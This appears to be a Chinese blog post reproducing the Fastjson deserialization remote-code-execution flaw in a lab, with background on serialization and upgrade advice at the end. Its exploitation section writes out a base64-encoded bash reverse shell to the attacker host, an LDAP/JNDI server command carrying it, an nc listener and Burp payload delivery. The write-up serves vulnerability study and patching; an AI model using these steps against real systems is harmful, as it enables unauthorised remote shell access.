漏洞复现 - - - Fastjson反序列化漏洞

一,Fastjson简介

1.Fastjson是什么

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象。Fastjson 源码地址:https://github.com/alibaba/fastjson 

2.Fastjson有什么用

将 Java 对象转换为 JSON 格式,当然也可将JSON格式转换为Java格式

3.什么是是反序列化

我们搞懂了什么是fastjson那我们理解一下序列化,反序列化又是什么意思呢 。

序列化:将对象转化成字节的过程

作用:因为对象统一存储在JVM中,所以就导致了如果JVM关闭,对象也就会消失。而序列化就可以将对象转换为字节的序列,可以写进硬盘文件中实现长期的保存。

反序列化:将字节转化成对象的过程

作用:将序列组成的字节,转换为对象。

对象序列化就是将对象的数据复制一个一模一样的对象(个人理解)

4. Fastjson漏洞产生原因

反序列化之后的数据本来是没有危害的,但是用户使用可控数据是有危害的

漏洞信息:

fastjson 1.2.24 反序列化导致任意命令执行漏洞:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。影响版本fastjson <= 1.2.24。 Fastjson 1.2.47 远程命令执行漏洞:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。影响版本fastjson <1.2.48。

取自合天网安实验室

二,漏洞利用(反弹shell)

靶机:Centos7+docker+fastjson1.2.25

 IP地址:10.1.1.119:8080

攻击机:Kali  

IP地址:10.1.1.148

利用工具请下载使用:fastjsonRCE

我们在外网看到了使用了fastjson我们直接对其进行利用,我们这里通过ldap+jndi注入的方式实现RCE,基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。

 1.python将反弹shell的命令进行base64编码

python 

import base64

base64.b64encode('/bin/bash -i >& /dev/tcp/10.1.1.148/2333 0>&1')     

//映射端口设置为2333

2.执行命令启动ldap服务器

java -cp fastjson_tool.jar fastjson.HLDAPServer 10.1.1.148 1234 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEuMS4xNDgvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}"

//java -cp fastjson_tool.jar fastjson.HLDAPServer ip port"要执行的命令"

//在本地2333端口上启动一个ldap服务器,10.1.1.148为本机IP,并指定加载远程类,因为是反弹shell的命令,需要将其进行编码,管道符、输入输出重定向,只有在bash环境下才能用。所以我们需要java为我们提供的命令执行环境,不支持管道符、输入输出重定向,因此需要base64编码。

3.监听端口

nc -lvvp 2333 

 4.使用bp

将抓到的请求修改为POST请求。

Content-Type 修改为 application/json 

然后将playload复制到bp发送

查看监听的端口,就复现成功

 

 三, 漏洞修复

1. fastjson 版本至少升级到 1.2.58。

2.及时升级Java环境版本

  • 17
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 10
    评论
Fastjson是一个Java语言编写的高性能JSON处理库,可以实现JSON字符串与Java对象之间的相互转换。在Fastjson中,反序列化就是将JSON字符串转换为Java对象的过程。 要进行Fastjson反序列化,首先需要将JSON字符串作为输入,然后使用Fastjson提供的API将其转换为Java对象。以下是一个简单的示例代码: ```java import com.alibaba.fastjson.JSON; public class FastjsonExample { public static void main(String[] args) { String jsonString = "{\"name\":\"Alice\",\"age\":25}"; // 将JSON字符串反序列化Java对象 Person person = JSON.parseObject(jsonString, Person.class); System.out.println(person.getName()); // 输出:Alice System.out.println(person.getAge()); // 输出:25 } } class Person { private String name; private int age; // 省略构造函数和其他方法 // Getter和Setter方法 } ``` 在上述示例中,首先定义了一个Person类,该类包含了name和age两个属性。然后,使用`JSON.parseObject`方法将JSON字符串`jsonString`反序列化为Person对象。 需要注意的是,Fastjson会根据属性名匹配JSON中的字段,并将对应字段的值赋给属性。因此,在进行反序列化时,要确保Java类的属性名与JSON中的字段名一致,或者使用`@JSONField`注解来指定字段名和属性名之间的映射关系。 以上就是使用Fastjson进行反序列化的基本步骤和示例代码。希望能对你有所帮助!如果有更多问题,请继续提问。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

干掉芹菜

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值